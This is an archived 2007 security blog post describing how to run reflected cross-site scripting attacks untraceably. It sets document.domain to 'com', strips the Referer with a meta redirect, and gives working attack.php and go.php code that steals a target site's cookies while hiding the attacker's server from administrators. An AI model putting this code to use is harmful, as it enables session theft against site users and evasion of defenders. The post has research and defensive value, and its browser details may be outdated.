

(Non-Persistent) Untraceable XSS Attacks

(Non-Persistent) Untraceable XSS Attacks - Author not stated, kuza55.blogspot.com.

- Published: date not stated
- Original: <<https://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks.html>>
- Preserved from: <https://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks.html> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

[EDIT]: Sorry for taking so long to do this, but I've been really busy lately. Anyway, when doing my initial testing with document.domain stuff Firefox threw some errors when I tried to set the domain to just 'com' - I'm not sure why since this is allowed, and as such this post was needlessly confusing (since I thought you could only set it to 'com.'), and so I've rewritten it (keeping most of it intact), the old copy is still at the end, but its not really worth reading since its pretty much the same thing.

When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.

Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.

But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.

It turns out you can set the document.domain property to just 'com' if you have a .com domain.

Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.

The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.

And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.

The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:

```
attack.php : <html> <body> <script> document.domain = 'com'; function logic () {  
alert(window.frames[0].document.cookie); } </script> <iframe src="go.php" /> </body> </html>
```

```
go.php : <html> <head> <meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=  
<script>document.domain='com';window.parent.logic();</script>"> </head> </html>
```

In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.

Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.

Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server since you have set up a system where any .com domain can break the cross domain boundary.

Old Post:

When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is seen in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.

Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.

But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.

As [trev found out](#), it is possible for a site in the .com TLD to set their document.domain value to '.com.', and this allows it to share details with any site which also sets its document.domain value

to '.com.'.

Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.

The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.

And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.

The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:

```
attack.php : <html> <body> <script> document.domain = 'com.'; function logic () {  
alert(window.frames[0].document.cookie); } </script> <iframe src="go.php" /> </body> </html>
```

```
go.php : <html> <head> <meta http-equiv="refresh" content="0;http://www.target.com./page.php?vuln=  
<script>document.domain='com.';window.parent.logic();</script>"> </head> </html>
```

In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com. and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.

Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.

Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server, then they could easily conduct attacks similar to the one against MySpace described in trev's post.

[EDIT]: Sorry guys; false alarm. This doesn't fully work against IE and Opera because they treat target.com and target.com. as separate domains, and so store cookies separately. I have figured out a way to overcome this, which I've posted here: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks_30.html so that anyone who has already seen this post will hopefully notice the second one.